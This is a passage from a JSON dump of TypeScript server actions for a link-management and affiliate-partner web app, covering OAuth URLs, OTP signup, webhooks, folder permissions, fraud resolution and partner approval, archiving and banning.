    "content": "\"use server\";\n\nimport * as z from \"zod/v4\";\nimport { verifyFolderAccess } from \"../folder/permissions\";\nimport { bitlyOAuthProvider } from \"../integrations/bitly/oauth\";\nimport { authActionClient } from \"./safe-action\";\n\nconst schema = z.object({\n  provider: z.literal(\"bitly\"),\n  workspaceId: z.string(),\n  folderId: z.string().optional(),\n});\n\n// Generate the OAuth sigin URL based on the provider\nexport const createOAuthUrl = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace, user } = ctx;\n    const { provider, folderId } = parsedInput;\n\n    if (folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: user.id,\n        folderId,\n        requiredPermission: \"folders.links.write\",\n      });\n    }\n\n    if (provider === \"bitly\") {\n      return {\n        url: await bitlyOAuthProvider.generateAuthUrl({\n          workspaceId: workspace.id,\n          ...(folderId ? { folderId } : {}),\n        }),\n      };\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/create-user-account.ts",
    "content": "\"use server\";\n\nimport { ratelimit } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { flattenValidationErrors } from \"next-safe-action\";\nimport * as z from \"zod/v4\";\nimport { createId } from \"../api/create-id\";\nimport { hashPassword } from \"../auth/password\";\nimport { signUpSchema } from \"../zod/schemas/auth\";\nimport { throwIfAuthenticated } from \"./auth/throw-if-authenticated\";\nimport { actionClient } from \"./safe-action\";\n\nconst schema = signUpSchema.extend({\n  code: z.string().min(6, \"OTP must be 6 characters long.\"),\n});\n\nconst MAX_OTP_ATTEMPTS = 5; // Block after 5 failed attempts\nconst OTP_LOCKOUT_DURATION = \"24 h\"; // Block for 24 hours\n\n// Sign up a new user using email and password\nexport const createUserAccountAction = actionClient\n  .inputSchema(schema, {\n    handleValidationErrorsShape: async (ve) =>\n      flattenValidationErrors(ve).fieldErrors,\n  })\n  .use(throwIfAuthenticated)\n  .action(async ({ parsedInput }) => {\n    const { email, password, code } = parsedInput;\n\n    const signupAttemptKey = `signup:attempts:${email}`;\n\n    const { remaining: attemptsRemaining } = await ratelimit(\n      MAX_OTP_ATTEMPTS,\n      OTP_LOCKOUT_DURATION,\n    ).getRemaining(signupAttemptKey);\n\n    if (attemptsRemaining <= 0) {\n      throw new Error(\"Too many failed attempts. You have to try again later.\");\n    }\n\n    const verificationToken = await prisma.emailVerificationToken.findUnique({\n      where: {\n        identifier: email,\n        token: code,\n      },\n    });\n\n    if (!verificationToken) {\n      await ratelimit(MAX_OTP_ATTEMPTS, OTP_LOCKOUT_DURATION).limit(\n        signupAttemptKey,\n      );\n\n      throw new Error(\"Invalid verification code entered.\");\n    }\n\n    if (verificationToken.expires && verificationToken.expires < new Date()) {\n      waitUntil(\n        prisma.emailVerificationToken.delete({\n          where: {\n            identifier: email,\n            token: code,\n          },\n        }),\n      );\n\n      throw new Error(\"The OTP has expired. Please request a new one.\");\n    }\n\n    await prisma.emailVerificationToken.delete({\n      where: {\n        identifier: email,\n        token: code,\n      },\n    });\n\n    const user = await prisma.user.findUnique({\n      where: {\n        email,\n      },\n    });\n\n    if (!user) {\n      await prisma.user.create({\n        data: {\n          id: createId({ prefix: \"user_\" }),\n          email,\n          passwordHash: await hashPassword(password),\n          emailVerified: new Date(),\n          notificationPreferences: {\n            create: {},\n          },\n        },\n      });\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/enable-disable-webhook.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { webhookCache } from \"../webhook/cache\";\nimport { toggleWebhooksForWorkspace } from \"../webhook/update-webhook\";\nimport { authActionClient } from \"./safe-action\";\nimport { throwIfNoPermission } from \"./throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  webhookId: z.string(),\n});\n\n// Enable or disable a webhook\nexport const enableOrDisableWebhook = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { webhookId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"webhooks.write\"],\n    });\n\n    if ([\"free\", \"pro\"].includes(workspace.plan)) {\n      throw new Error(\"You must upgrade your plan to enable webhooks.\");\n    }\n\n    const webhook = await prisma.webhook.findUniqueOrThrow({\n      where: {\n        id: webhookId,\n        projectId: workspace.id,\n      },\n      select: {\n        disabledAt: true,\n      },\n    });\n\n    const disabledAt = webhook.disabledAt ? null : new Date();\n\n    const updatedWebhook = await prisma.webhook.update({\n      where: {\n        id: webhookId,\n        projectId: workspace.id,\n      },\n      data: {\n        disabledAt,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        await Promise.all([\n          toggleWebhooksForWorkspace({\n            workspaceId: workspace.id,\n          }),\n\n          webhookCache.set(updatedWebhook),\n        ]);\n      })(),\n    );\n\n    return {\n      disabledAt,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/folders/request-folder-edit-access.ts",
    "content": "\"use server\";\n\nimport { sendEmail } from \"@dub/email\";\nimport FolderEditAccessRequested from \"@dub/email/templates/folder-edit-access-requested\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { verifyFolderAccess } from \"../../folder/permissions\";\nimport { authActionClient } from \"../safe-action\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  folderId: z.string(),\n});\n\n// Request edit access to a folder\nexport const requestFolderEditAccessAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace, user } = ctx;\n    const { folderId } = parsedInput;\n\n    const folder = await verifyFolderAccess({\n      workspace,\n      userId: user.id,\n      folderId,\n      requiredPermission: \"folders.read\",\n    });\n\n    const folderAccessRequest = await prisma.folderAccessRequest.findUnique({\n      where: {\n        folderId_userId: {\n          folderId,\n          userId: user.id,\n        },\n      },\n    });\n\n    if (folderAccessRequest) {\n      throw new Error(\n        \"You already have a pending request to this folder. Please wait for the owner to approve it.\",\n      );\n    }\n\n    await prisma.folderAccessRequest.create({\n      data: {\n        folderId,\n        userId: user.id,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        const folderOwner = await prisma.folderUser.findFirstOrThrow({\n          where: {\n            folderId,\n            role: \"owner\",\n          },\n          select: {\n            userId: true,\n            user: {\n              select: {\n                email: true,\n              },\n            },\n          },\n        });\n\n        const folderOwnerEmail = folderOwner.user.email!;\n\n        await sendEmail({\n          subject: `Request to edit folder ${folder.name} on ${workspace.name}`,\n          to: folderOwnerEmail,\n          react: FolderEditAccessRequested({\n            email: folderOwnerEmail,\n            folderUrl: `${APP_DOMAIN_WITH_NGROK}/${workspace.slug}/settings/library/folders/${folder.id}/members`,\n            folder: {\n              name: folder.name,\n            },\n            requestor: {\n              name: user.name,\n              email: user.email,\n            },\n          }),\n        });\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/folders/set-default-folder.ts",
    "content": "\"use server\";\n\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\n\nconst setDefaultFolderSchema = z.object({\n  workspaceId: z.string(),\n  folderId: z.string().nullable(),\n});\n\n// Set the default folder for a workspace for a user\nexport const setDefaultFolderAction = authActionClient\n  .inputSchema(setDefaultFolderSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { user, workspace } = ctx;\n    const { folderId } = parsedInput;\n\n    if (folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: user.id,\n        folderId,\n        requiredPermission: \"folders.read\",\n      });\n    }\n\n    await prisma.projectUsers.update({\n      where: {\n        userId_projectId: {\n          userId: user.id,\n          projectId: workspace.id,\n        },\n      },\n      data: {\n        defaultFolderId: folderId,\n      },\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/folders/update-folder-user-role.ts",
    "content": "\"use server\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { PlanProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { verifyFolderAccess } from \"../../folder/permissions\";\nimport { folderUserRoleSchema } from \"../../zod/schemas/folders\";\nimport { authActionClient } from \"../safe-action\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  folderId: z.string(),\n  userId: z.string(),\n  role: folderUserRoleSchema.nullable(),\n});\n\n// Update the folder user role\nexport const updateUserRoleInFolder = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace, user } = ctx;\n    const { folderId, userId, role } = parsedInput;\n\n    if (user.id === userId) {\n      throw new Error(\"You cannot update your own role.\");\n    }\n\n    const { canManageFolderPermissions } = getPlanCapabilities(\n      workspace.plan as PlanProps,\n    );\n\n    if (!canManageFolderPermissions) {\n      throw new Error(\n        \"Folder permission management requires a Business plan or higher.\",\n      );\n    }\n\n    await verifyFolderAccess({\n      workspace,\n      userId: user.id,\n      folderId,\n      requiredPermission: \"folders.users.write\",\n    });\n\n    await prisma.folderUser.upsert({\n      where: {\n        folderId_userId: {\n          folderId,\n          userId,\n        },\n      },\n      update: {\n        role,\n      },\n      create: {\n        folderId,\n        userId,\n        role,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        try {\n          await prisma.folderAccessRequest.delete({\n            where: {\n              folderId_userId: {\n                folderId,\n                userId,\n              },\n            },\n          });\n        } catch (error) {\n          if (error.code !== \"P2025\") {\n            console.error(\"Error deleting folder access request\", error);\n          }\n        }\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/fraud/bulk-resolve-fraud-groups.ts",
    "content": "\"use server\";\n\nimport { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { bulkResolveFraudGroupsSchema } from \"@/lib/zod/schemas/fraud\";\nimport { prisma } from \"@dub/prisma\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const bulkResolveFraudGroupsAction = authActionClient\n  .inputSchema(bulkResolveFraudGroupsSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace, user } = ctx;\n    const { groupIds, resolutionReason } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const { canManageFraudEvents } = getPlanCapabilities(workspace.plan);\n\n    if (!canManageFraudEvents) {\n      throw new Error(\"Unauthorized.\");\n    }\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const fraudGroups = await prisma.fraudEventGroup.findMany({\n      where: {\n        id: {\n          in: groupIds,\n        },\n        status: \"pending\",\n      },\n      select: {\n        id: true,\n        programId: true,\n        partnerId: true,\n      },\n    });\n\n    if (fraudGroups.length === 0) {\n      return;\n    }\n\n    // Verify all groups belong to the program\n    const unauthorizedGroups = fraudGroups.filter(\n      (group) => group.programId !== programId,\n    );\n\n    if (unauthorizedGroups.length > 0) {\n      throw new Error(\n        \"You are not authorized to resolve one or more fraud event groups.\",\n      );\n    }\n\n    const count = await resolveFraudGroups({\n      where: {\n        id: {\n          in: fraudGroups.map(({ id }) => id),\n        },\n      },\n      userId: user.id,\n      ...(resolutionReason && { resolutionReason }),\n    });\n\n    // Add the resolution reason as a comment to each unique partner\n    if (resolutionReason && count > 0) {\n      const uniquePartnerIds = Array.from(\n        new Set(fraudGroups.map((group) => group.partnerId)),\n      );\n\n      await prisma.partnerComment.createMany({\n        data: uniquePartnerIds.map((partnerId) => ({\n          programId,\n          partnerId,\n          userId: user.id,\n          text: resolutionReason,\n        })),\n      });\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/fraud/resolve-fraud-group.ts",
    "content": "\"use server\";\n\nimport { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { resolveFraudGroupSchema } from \"@/lib/zod/schemas/fraud\";\nimport { prisma } from \"@dub/prisma\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const resolveFraudGroupAction = authActionClient\n  .inputSchema(resolveFraudGroupSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace, user } = ctx;\n    const { groupId, resolutionReason } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const { canManageFraudEvents } = getPlanCapabilities(workspace.plan);\n\n    if (!canManageFraudEvents) {\n      throw new Error(\"Unauthorized.\");\n    }\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const fraudGroup = await prisma.fraudEventGroup.findUniqueOrThrow({\n      where: {\n        id: groupId,\n      },\n      select: {\n        id: true,\n        programId: true,\n        partnerId: true,\n      },\n    });\n\n    if (fraudGroup.programId !== programId) {\n      throw new Error(\n        \"You are not authorized to resolve this fraud event group.\",\n      );\n    }\n\n    const count = await resolveFraudGroups({\n      where: {\n        id: groupId,\n      },\n      userId: user.id,\n      ...(resolutionReason && { resolutionReason }),\n    });\n\n    // Add the resolution reason as a comment to the partner\n    if (resolutionReason && count > 0) {\n      await prisma.partnerComment.create({\n        data: {\n          programId,\n          partnerId: fraudGroup.partnerId,\n          userId: user.id,\n          text: resolutionReason,\n        },\n      });\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/generate-client-secret.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { OAUTH_CONFIG } from \"../api/oauth/constants\";\nimport { createToken } from \"../api/oauth/utils\";\nimport { hashToken } from \"../auth\";\nimport { authActionClient } from \"./safe-action\";\nimport { throwIfNoPermission } from \"./throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  appId: z.string(),\n});\n\n// Generate a new client secret for an integration\nexport const generateClientSecret = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { appId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"oauth_apps.write\"],\n    });\n\n    await prisma.integration.findFirstOrThrow({\n      where: {\n        id: appId,\n        projectId: workspace.id,\n      },\n    });\n\n    const clientSecret = createToken({\n      length: OAUTH_CONFIG.CLIENT_SECRET_LENGTH,\n      prefix: OAUTH_CONFIG.CLIENT_SECRET_PREFIX,\n    });\n\n    await prisma.oAuthApp.update({\n      where: {\n        integrationId: appId,\n      },\n      data: {\n        hashedClientSecret: await hashToken(clientSecret),\n        partialClientSecret: `dub_app_secret_****${clientSecret.slice(-8)}`,\n      },\n    });\n\n    return { clientSecret };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/generate-unsubscribe-url.ts",
    "content": "\"use server\";\n\nimport { generateUnsubscribeToken } from \"../email/unsubscribe-token\";\nimport { authUserActionClient } from \"./safe-action\";\n\n// Generate an unsubscribe token for a user\nexport const generateUnsubscribeTokenAction = authUserActionClient.action(\n  async ({ ctx }) => {\n    const { user } = ctx;\n\n    const token = generateUnsubscribeToken(user.email);\n\n    return { token };\n  },\n);\n"
  },
  {
    "path": "apps/web/lib/actions/get-integration-install-url.ts",
    "content": "\"use server\";\n\nimport * as z from \"zod/v4\";\nimport { hubSpotOAuthProvider } from \"../integrations/hubspot/oauth\";\nimport { slackOAuthProvider } from \"../integrations/slack/oauth\";\nimport { authActionClient } from \"./safe-action\";\nimport { throwIfNoPermission } from \"./throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  integrationSlug: z.string(),\n});\n\n// Get the installation URL for an integration\nexport const getIntegrationInstallUrl = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { integrationSlug } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    let url: string | null = null;\n\n    if (integrationSlug === \"slack\") {\n      url = await slackOAuthProvider.generateAuthUrl(workspace.id);\n    } else if (integrationSlug === \"hubspot\") {\n      url = await hubSpotOAuthProvider.generateAuthUrl(workspace.id);\n    } else {\n      throw new Error(\"Invalid integration slug\");\n    }\n\n    return { url };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/parse-action-errors.ts",
    "content": "import { ValidationErrors } from \"next-safe-action\";\n\nexport const parseActionError = (\n  error: {\n    serverError?: string;\n    validationErrors?: ValidationErrors<any>;\n  },\n  fallback?: string,\n) => {\n  if (error.serverError) {\n    return error.serverError;\n  }\n\n  if (error.validationErrors) {\n    if (error.validationErrors._errors) {\n      return error.validationErrors._errors;\n    }\n\n    console.error(\"validationErrors\", error.validationErrors);\n\n    return Object.entries(error.validationErrors)\n      .map(([_key, value]) => {\n        return (value as { _errors: string[] })._errors;\n      })\n      .join(\"\\n\");\n  }\n\n  return fallback || \"An unknown error occurred.\";\n};\n"
  },
  {
    "path": "apps/web/lib/actions/partners/accept-program-invite.ts",
    "content": "\"use server\";\n\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { EnrolledPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst acceptProgramInviteSchema = z.object({\n  programId: z.string(),\n});\n\nexport const acceptProgramInviteAction = authPartnerActionClient\n  .inputSchema(acceptProgramInviteSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { partner } = ctx;\n    const { programId } = parsedInput;\n\n    const enrollment = await prisma.programEnrollment.update({\n      where: {\n        partnerId_programId: {\n          partnerId: partner.id,\n          programId,\n        },\n        status: \"invited\",\n      },\n      data: {\n        status: \"approved\",\n        createdAt: new Date(),\n      },\n      include: {\n        links: true,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        const workspace = await prisma.project.findUnique({\n          where: {\n            defaultProgramId: programId,\n          },\n        });\n\n        if (!workspace) {\n          console.log(\"No workspace found for program\", programId);\n          return;\n        }\n\n        const enrolledPartner = EnrolledPartnerSchema.parse({\n          ...partner,\n          ...enrollment,\n          id: partner.id,\n        });\n\n        await sendWorkspaceWebhook({\n          workspace,\n          trigger: \"partner.enrolled\",\n          data: enrolledPartner,\n        });\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/approve-bounty-submission.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { approveBountySubmission } from \"@/lib/bounty/api/approve-bounty-submission\";\nimport { approveBountySubmissionBodySchema } from \"@/lib/zod/schemas/bounties\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst inputSchema = approveBountySubmissionBodySchema.extend({\n  workspaceId: z.string(),\n  submissionId: z.string(),\n});\n\n// Approve a submission for a bounty\nexport const approveBountySubmissionAction = authActionClient\n  .inputSchema(inputSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { submissionId, rewardAmount } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await approveBountySubmission({\n      programId,\n      submissionId,\n      rewardAmount,\n      user,\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/approve-partner.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { approvePartnerEnrollment } from \"@/lib/partners/approve-partner-enrollment\";\nimport { approvePartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Approve a partner application\nexport const approvePartnerAction = authActionClient\n  .inputSchema(approvePartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId, groupId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await approvePartnerEnrollment({\n      programId,\n      partnerId,\n      userId: user.id,\n      groupId,\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/archive-partner.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { archivePartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Archive a partner\nexport const archivePartnerAction = authActionClient\n  .inputSchema(archivePartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const programEnrollment = await getProgramEnrollmentOrThrow({\n      partnerId,\n      programId,\n      include: {},\n    });\n\n    const { status, partner } = await prisma.programEnrollment.update({\n      where: {\n        partnerId_programId: {\n          partnerId,\n          programId,\n        },\n      },\n      data: {\n        status:\n          programEnrollment.status === \"archived\" ? \"approved\" : \"archived\",\n      },\n      include: {\n        partner: true,\n      },\n    });\n\n    waitUntil(\n      recordAuditLog({\n        workspaceId: workspace.id,\n        programId,\n        action: status === \"archived\" ? \"partner.archived\" : \"partner.approved\",\n        description: `Partner ${partnerId} ${status}`,\n        actor: user,\n        targets: [\n          {\n            type: \"partner\",\n            id: partnerId,\n            metadata: partner,\n          },\n        ],\n      }),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/ban-partner.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { qstash } from \"@/lib/cron\";\nimport { UserProps, WorkspaceProps } from \"@/lib/types\";\nimport { banPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  PartnerBannedReason,\n  ProgramEnrollmentStatus,\n} from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst queue = qstash.queue({\n  queueName: \"ban-partner\",\n});\n\n// Ban a partner\nexport const banPartnerAction = authActionClient\n  .inputSchema(banPartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId, reason } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    await banPartner({\n      workspace,\n      partnerId,\n      reason,\n      user,\n    });\n  });\n\nexport const banPartner = async ({\n  workspace,\n  partnerId,\n  reason,\n  user,\n}: {\n  workspace: Pick<WorkspaceProps, \"id\" | \"defaultProgramId\">;\n  partnerId: string;\n  reason: PartnerBannedReason;\n  user: Pick<UserProps, \"id\">;\n}) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const programEnrollment = await getProgramEnrollmentOrThrow({\n    partnerId,\n    programId,\n    include: {\n      partner: true,\n    },\n  });\n\n  if (programEnrollment.status === \"pending\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"This partner is not approved yet to be banned.\",\n    });\n  }\n\n  if (programEnrollment.status === \"banned\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"This partner is already banned from your program.\",\n    });\n  }\n\n  const commonWhere = {\n    partnerId,\n    programId,\n  };\n\n  const programEnrollmentUpdated = await prisma.programEnrollment.update({\n    where: {\n      partnerId_programId: commonWhere,\n    },\n    data: {\n      status: ProgramEnrollmentStatus.banned,\n      bannedAt: new Date(),\n      bannedReason: reason,\n      clickRewardId: null,\n      leadRewardId: null,\n      saleRewardId: null,\n      discountId: null,\n    },\n  });\n\n  // Automatically resolve all pending fraud events for this partner in the current program\n  await resolveFraudGroups({\n    where: commonWhere,\n    userId: user.id,\n    resolutionReason: \"Resolved automatically because the partner was banned.\",\n  });\n\n  waitUntil(\n    Promise.allSettled([\n      recordAuditLog({\n        workspaceId: workspace.id,\n        programId,\n        action: \"partner.banned\",\n        description: `Partner ${partnerId} banned`,\n        actor: user,\n        targets: [\n          {\n            type: \"partner\",\n            id: partnerId,\n            metadata: programEnrollment.partner,\n          },\n        ],\n      }),\n\n      queue.enqueueJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partners/ban`,\n        deduplicationId: `ban-${programId}-${partnerId}`,\n        method: \"POST\",\n        body: {\n          programId,\n          partnerId,\n        },\n      }),\n    ]),\n  );\n\n  return programEnrollmentUpdated;\n};\n"
  },
  {
    "path": "apps/web/lib/actions/partners/bulk-approve-partners.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { triggerWorkflows } from \"@/lib/cron/qstash-workflow\";\nimport { bulkApprovePartnersSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Approve partners applications in bulk\nexport const bulkApprovePartnersAction = authActionClient\n  .inputSchema(bulkApprovePartnersSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerIds, groupId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partners: programEnrollments, ...program } =\n      await prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        include: {\n          partners: {\n            where: {\n              status: \"pending\",\n              partnerId: {\n                in: partnerIds,\n              },\n            },\n          },\n        },\n      });\n\n    const group = await getGroupOrThrow({\n      programId: program.id,\n      groupId: groupId ?? program.defaultGroupId,\n    });\n\n    // Approve the enrollments\n    await prisma.programEnrollment.updateMany({\n      where: {\n        id: {\n          in: programEnrollments.map(({ id }) => id),\n        },\n      },\n      data: {\n        status: \"approved\",\n        createdAt: new Date(),\n        groupId: group.id,\n        clickRewardId: group.clickRewardId,\n        leadRewardId: group.leadRewardId,\n        saleRewardId: group.saleRewardId,\n        discountId: group.discountId,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        // Refetch the updated program enrollments with the partner\n        const updatedEnrollments = await prisma.programEnrollment.findMany({\n          where: {\n            id: {\n              in: programEnrollments.map(({ id }) => id),\n            },\n          },\n          include: {\n            partner: true,\n          },\n        });\n\n        await Promise.allSettled([\n          recordAuditLog(\n            updatedEnrollments.map(({ partner }) => ({\n              workspaceId: workspace.id,\n              programId: program.id,\n              action: \"partner_application.approved\",\n              description: `Partner application approved for ${partner.id}`,\n              actor: user,\n              targets: [\n                {\n                  type: \"partner\",\n                  id: partner.id,\n                  metadata: partner,\n                },\n              ],\n            })),\n          ),\n\n          triggerWorkflows(\n            updatedEnrollments.map(({ partnerId, programId }) => ({\n              workflowId: \"partner-approved\",\n              body: {\n                programId,\n                partnerId,\n                userId: user.id,\n              },\n            })),\n          ),\n        ]);\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/bulk-archive-partners.ts",
